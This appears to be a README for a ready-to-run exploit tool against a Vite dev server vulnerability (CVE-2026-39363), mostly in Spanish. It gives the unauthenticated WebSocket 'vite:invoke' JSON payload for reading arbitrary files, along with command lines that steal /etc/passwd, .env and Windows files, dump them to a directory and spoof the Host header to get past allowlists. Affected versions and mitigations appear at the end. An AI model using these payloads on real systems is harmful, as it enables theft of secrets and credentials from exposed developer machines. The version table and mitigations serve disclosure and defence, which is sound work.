
方便实用的CVE-2026-39363利用工具
PoC ejecutable directamente para GHSA-p9ff-h696-f583. A través de un WebSocket HMR sin autenticación, invoca fetchModule, eludiendo la restricción server.fs.allow de la capa HTTP, para leer archivos arbitrarios en la máquina donde se ejecuta el dev server.
| Línea de versión | Afectadas | Corregidas |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (rama VoidZero) | <=0.1.15 | 0.1.16 |
Requisitos previos:
--host / server.host), yserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
CISA SSVC lo ha marcado como exploitation=poc, automatable=yes.
server.fs.allow (/@fs/<ruta absoluta> → 403).Sec-WebSocket-Protocol: vite-hmr, y?token= solo cuando se envía la cabecera Origin (CWE-306: los clientes que no son navegadores pueden conectarse directamente sin enviar la cabecera Origin).vite:invoke para invocar el método fetchModule registrado en el servidor, pasando file://<ruta absoluta>?raw. fetchModule pasa directamente por el pipeline de transformación de módulos, eludiendo por completo la comprobación de fs.allow, y devuelve el contenido del archivo como export default "..." (CWE-200).Estructura del mensaje de solicitud vite:invoke (idéntica en v6/v7/v8):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
La respuesta del servidor cambia id a 1response, y data.data.result.code contiene el contenido del archivo.
Solo requiere la biblioteca estándar de Python 3, sin dependencias de terceros:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
Parámetros:
El PoC de este repositorio se ha probado con éxito en los siguientes entornos (leyendo secret.txt fuera del root del dev server; la ruta HTTP @fs del mismo archivo devuelve 403):
vite --host 0.0.0.0, Windows)Pasos para reproducir (misma cadena que el PoC):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + alojamiento estático; no ejecute vite dev.server.ws: false, o añada un proxy inverso que solo permita el acceso local al puerto del dev server.Solo para uso en pruebas de penetración autorizadas, reproducción de vulnerabilidades e investigación defensiva. El usuario asume las consecuencias del uso de esta herramienta contra sistemas de terceros sin autorización.
| Parámetro | Descripción |
|---|
url | Objetivo, p. ej. http://192.168.1.10:5173 |
files | Rutas absolutas a leer, en formato POSIX o Windows |
--host-header | Cabecera Host falsificada (por defecto toma el host del objetivo). Por defecto solo se permite IP/localhost; los dominios personalizados requieren configuración explícita |
--ws-path | Ruta del WebSocket de HMR, por defecto / (debe modificarse si el objetivo configura server.hmr.path) |
--timeout | Tiempo de espera por solicitud en segundos, por defecto 10 |
-o/--output-dir | Guarda el contenido leído en un directorio |